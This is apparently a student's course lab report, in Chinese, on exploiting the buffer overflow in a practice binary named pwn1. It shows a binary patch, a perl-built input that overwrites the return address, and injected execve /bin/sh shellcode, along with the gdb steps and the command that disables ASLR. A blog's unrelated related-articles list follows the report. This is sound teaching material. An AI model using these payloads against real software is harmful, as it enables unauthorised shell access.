20231911 2023-2024-2 《网络攻防实践》实践九报告

news2025/1/20 5:11:25

1.实践内容
1.1 缓冲区
缓冲区是内存空间的一部分,在内存中预留了一定的存储空间,用来暂时保存输入和输出等I/O操作的一些数据,这些预留的空间就叫做缓冲区。

1.2 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践过程
2.1 手工修改可执行文件
1、首先将 kali 虚拟机名称改为:maxing
在这里插入图片描述2、将学习通中的pwn1文件复制到kali虚拟机中,进入桌面并修改桌面上的pwn1文件为pwn20231911
在这里插入图片描述3、输入指令: objdump -d pwn20231911 | more ,对pwn20231911文件进行反汇编操作:
在这里插入图片描述在命令行的众多信息中可以看到getShell、foo、main等一系列函数:
在这里插入图片描述main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。

4、下面进行具体修改:
首先使用指令: cp pwn20231911 task 对pwn20231911文件进行保护,防止破坏:
在这里插入图片描述下载xxd
在这里插入图片描述
然后然后用vi编辑器打开拷贝出来的task,输入指令:vim task:
在这里插入图片描述
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
在这里插入图片描述在这里插入图片描述
接着输入指令::wq 进行保存并退出输入 ls -l,查看文件权限:
在这里插入图片描述再次进入task文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3:
在这里插入图片描述在这里插入图片描述将格式更改回去,然后退出。

接着输入指令:objdump -d task | more进行验证:发现已经成功修改。
在这里插入图片描述2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串

1.可以看到:getShell起始函数地址为0804847d:
在这里插入图片描述oo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。

2.在虚拟机终端输入指令:apt install gdb,安装gdb:
在这里插入图片描述接着输入命令:gdb pwn20231911调式程序:
在这里插入图片描述3.输入r,回车,表示运行这个文件:
输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出:
在这里插入图片描述输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn20231911,pwn20231911就会运行getShell。
在这里插入图片描述4.继续调试,输入r:
再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
在这里插入图片描述5.对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。

在一个新终端中键入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input:
在这里插入图片描述然后输入xxd input:可以通过xxd查看文件十六进制格式的内容。

2.3 注入Shellcode并执行
在这里插入图片描述设置堆栈可执行并查询文件的堆栈是否可执行、是否关闭地址随机化、关闭地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
在这里插入图片描述输入命令perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr:
在这里插入图片描述然后在该终端运行(cat input_20231911;cat) | ./pwn20231911注入这段攻击buf
在这里插入图片描述在新终端中用gdb的attach 3230命令启动gdb调试这个进程:
在这里插入图片描述使用命令:disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
在这里插入图片描述输入指令:b *0x080484ae命令设置断点,输入“c”命令(continue)继续运行:
在这里插入图片描述再返回调试终端,输入info r esp命令:
查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd37c。
在这里插入图片描述输入x/16x 0xffffd37c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd37c+0x00000004=0xFFFFD380,所以地址应为0xFFFFD380。
在这里插入图片描述接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd380即可,用命令perl -e ‘print “A” x 32;print “\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911:
再用(cat input_20231911;cat) | ./pwn20231911命令次执行程序,攻击成功:
在这里插入图片描述3.学习中遇到的问题及解决
问题1:Kali Linux E:Unable to locate package ,安装不了
解决:参考https://blog.csdn.net/weixin_43729943/article/details/104221462

4.实践总结
通过本次实验,我理解了缓冲区的一些基本情况,而且上课期间,老师也对缓冲区和堆栈问题对同学们进行了提问,并且自己最后也归纳总结,进行了解答,让我对这些知识点有了大致的了解。这次实验主要是一些包很难安装,然后要搜如何解决这个问题,花费大量时间,但也让我学到了,遇到困难要有锲而不舍的精神,一个一个解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1682083.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

哪款桌面便签app能帮助我提升工作效率

作为上班族,我们每天都要处理大量的工作事项,从策划方案到处理邮件,每一个环节都需高效且有条不紊。在这样的工作环境下,提升效率显得尤为重要。而选择一款优秀的桌面便签app,无疑是提高工作效率的关键。 桌面便签app…

6-10 阶乘计算升级版

void Print_Factorial ( const int N ) {if(N<0){printf("Invalid input");return;} int nN;int a[10000]{};a[0]1; //0和1的阶乘都是1&#xff0c;同时又是用该个位去&#xff0c;所以初始化为1&#xff1b;int i,j;int len0;//当前数组所占的最大下标in…

多客开源】游戏陪玩系统,游戏陪玩源码,游戏陪玩语音社交源码运营版游戏陪玩平台源码/tt语音聊天/声优服务/陪玩系统源码开黑/约玩源码

介绍 我们针对陪玩app源码市场的发展趋势&#xff0c;整合市面上主流陪玩app应用功能&#xff0c;自主开发了多客陪玩系统源码&#xff0c;并可为客户提供全部原生陪玩源码&#xff0c;进行二次开发&#xff0c;打造适用于线上游戏陪玩、语音聊天、心理咨询、情感陪伴等业务场…

NOC初赛成绩,你们都查到了吗?

NOC大赛部分编程赛道要开始复赛了&#xff0c;2024信息素养大赛初赛及NOC复赛这篇就够了&#xff01;初赛结束后&#xff0c;很多家长和学生还没有查到是否晋级复赛&#xff0c;因为网站卡的出现了各种问题&#xff0c;主要集中在打不开&#xff0c;验证码错误等&#xff0c;根…

【数据分析实战】华住与锦江市场布局与未来趋势解析Python数据分析采集爬虫

文章目录 引言数据采集和展示数据采集数据预处理 数据分析与结果国内门店数量对比结果可视化结果分析 酒店平均房间数对比Code结果可视化结果分析 近六年开店数量对比结果可视化结果分析 写在最后 引言 随着旅游经济的持续发展&#xff0c;中国酒店行业正迅速壮大&#xff0c;…

基于51单片机的非接触式无线红外测温

基于51单片机的无线红外测温 &#xff08;程序&#xff0b;原理图&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.采用红外温度传感器测温并用LCD1602显示&#xff1b; 2.按键为启动按键、保存按键、显示数据按键&#xff0c;可以实现对温度数值的控制…

InnoDB 事务处理机制

文章目录 前言1. 事务处理挑战1.1 事务机制处理的问题1.2 并发事务带来的问题 2. InnodDB 和 ACID 模型2.1 Innodb Buffer Pool2.2 Redo log2.3 Undo log2.4 应用案例 3. 隔离级别和锁机制3.1 事务隔离级别3.1.1 READ UNCOMMITTED3.1.2 READ COMMITTED3.1.3 REPEATABLE READ3.1…

AndroidStudio集成高德地图后出现黑屏并报错

报错内容为&#xff1a;No implementation found for void com.autonavi.base.ae.gmap.GLMapEngine.nativeMainThreadTrigger(int, long) (tried Java_com_autonavi_base_ae_gmap_GLMapEngine_nativeMainThreadTrigger and Java_com_autonavi_base_ae_gmap_GLMapEngine_nativeM…

2024CCPC郑州邀请赛暨河南省赛(A,B,C,D,F,G,H,J,K,L,M)

2024 National Invitational of CCPC (Zhengzhou), 2024 CCPC Henan Provincial Collegiate Programming Contest 2024 年中国大学生程序设计竞赛全国邀请赛&#xff08;郑州&#xff09;暨第六届 CCPC 河南省大学生程序设计竞赛 比赛链接 这场的题说实话难度其实都不大&…

数仓建模理论 之 维度建模

说起维度建模&#xff0c;你不得不知道以下几个概念&#xff1a;事实表、维度表、星型模型、雪花模型、星座模型 维度建模 Ralph Kimball推崇数据集市的集合为数据仓库&#xff0c;同时也提出了对数据集市的维度建模&#xff0c;将数据仓库中的表划分为事实表、维度表两种类型…

浏览器插件Video Speed Controller(视频倍速播放),与网页自身快捷键冲突/重复/叠加的解决办法

浏览器插件Video Speed Controller&#xff08;视频倍速播放&#xff09;&#xff0c;与网站自身快捷键冲突/重复/叠加的解决办法 插件介绍问题曾今尝试的办法今日发现插件列表中打开Video Speed Controller的设置设置页面翻到下面&#xff0c;打开实验性功能。将需要屏蔽的原网…

Invicti v24.5.0 for Windows - Web 应用程序安全测试

Invicti v24.5.0 for Windows - Web 应用程序安全测试 Invicti Standard v24.5.0 - 7 May 2024 请访问原文链接&#xff1a;Invicti v24.5.0 for Windows - Web 应用程序安全测试&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.o…

huggingface笔记:使用accelerate加速

1 介绍 随着模型规模的增大&#xff0c;并行处理已成为在有限硬件上训练大型模型和提高训练速度的重要策略。Hugging Face 创建了Accelerate库&#xff0c;帮助用户在任何类型的分布式环境中轻松训练Transformers模型&#xff0c;无论是单机多GPU还是跨多机的多GPU 2 创建Acce…

详解动态规划之01背包问题及其空间压缩(图文并茂+例题讲解)

1. 动态规划问题的本质 记忆化地暴力搜索所有可能性来得到问题的解 我们常常会遇到一些问题&#xff0c;需要我们在n次操作&#xff0c;且每次操作有k种选择时&#xff0c;求出最终需要的最小或最大代价。处理类似的问题&#xff0c;我们一般需要遍历所有的可能性(相当于走一遍…

(规格参考)ADP5360ACBZ-1-R7 电量计 电池管理IC,ADP5072ACBZ 双通道直流开关稳压器,ADL5903ACPZN 射频检测器

1、ADP5360ACBZ-1-R7&#xff1a;具有超低功耗电量计、电池保护功能的先进电池管理PMIC 功能&#xff1a;电池保护 电池化学成份&#xff1a;锂离子/聚合物 电池数&#xff1a;1 故障保护&#xff1a;超温&#xff0c;过压 接口&#xff1a;I2C 工作温度&#xff1a;-40C ~ 85…

安全且高效数据传输技术:Filelink跨网文件传输

Filelink跨网文件传输是一种高效、便捷的数据传输技术&#xff0c;它打破了传统文件传输方式的局限&#xff0c;实现了跨网络、跨平台的无缝传输。在企业跨网文件传输&#xff0c;Filelink都以其卓越的性能和稳定性赢得了广泛的认可。 在以往的文件传输过程中&#xff0c;我们常…

分享如何通过定时任务调用lighthouse前端测试脚本+在持续集成测试中调用lighthouse前端测试脚本

最近写了个小工具来优化lighthouse在实际工作中的使用&#xff0c;具体实现了&#xff1a;通过定时任务调用前端测试脚本在持续集成测试中调用前端测试脚本。由于在公司中已经应用&#xff0c;所以就不能提供源码了&#xff0c;这里简单说一下实现思路&#xff0c;希望可以帮助…

数仓架构之为什么要进行数仓分层

数仓分层这个概念想必大家都很熟悉&#xff0c;不管是在实际的开发工作当中会用的&#xff0c;还是在面试官面试你的时候会问到&#xff1a;你之前的项目是按照什么分层的&#xff0c;分哪几层&#xff0c;数仓分层有什么好处&#xff0c;举个栗子说说。 简而言之&#xff0c;…

Metasploit基本命令

1. 开启控制台 命令&#xff1a; msfconsole2. 搜索模块 命令&#xff1a; search ms17-010 # 模块名这里以搜索 ms17-010 为例&#xff0c; auxiliary 开头的为测试模块&#xff0c;也就是 POC&#xff0c;看看存不存在漏洞&#xff0c; exploit 开头的为攻击模块 3. 调…

数据结构(十六)----外部排序

目录 一.外部排序 1.外部排序的原理 2.外部排序时间开销的分析 3.外部排序的优化 &#xff08;1&#xff09;多路归并 &#xff08;2&#xff09;减少初始归并段数量 二.败者树 三.置换-选择排序 四.最佳归并树 一.外部排序 1.外部排序的原理 若想清楚外部排序的原理…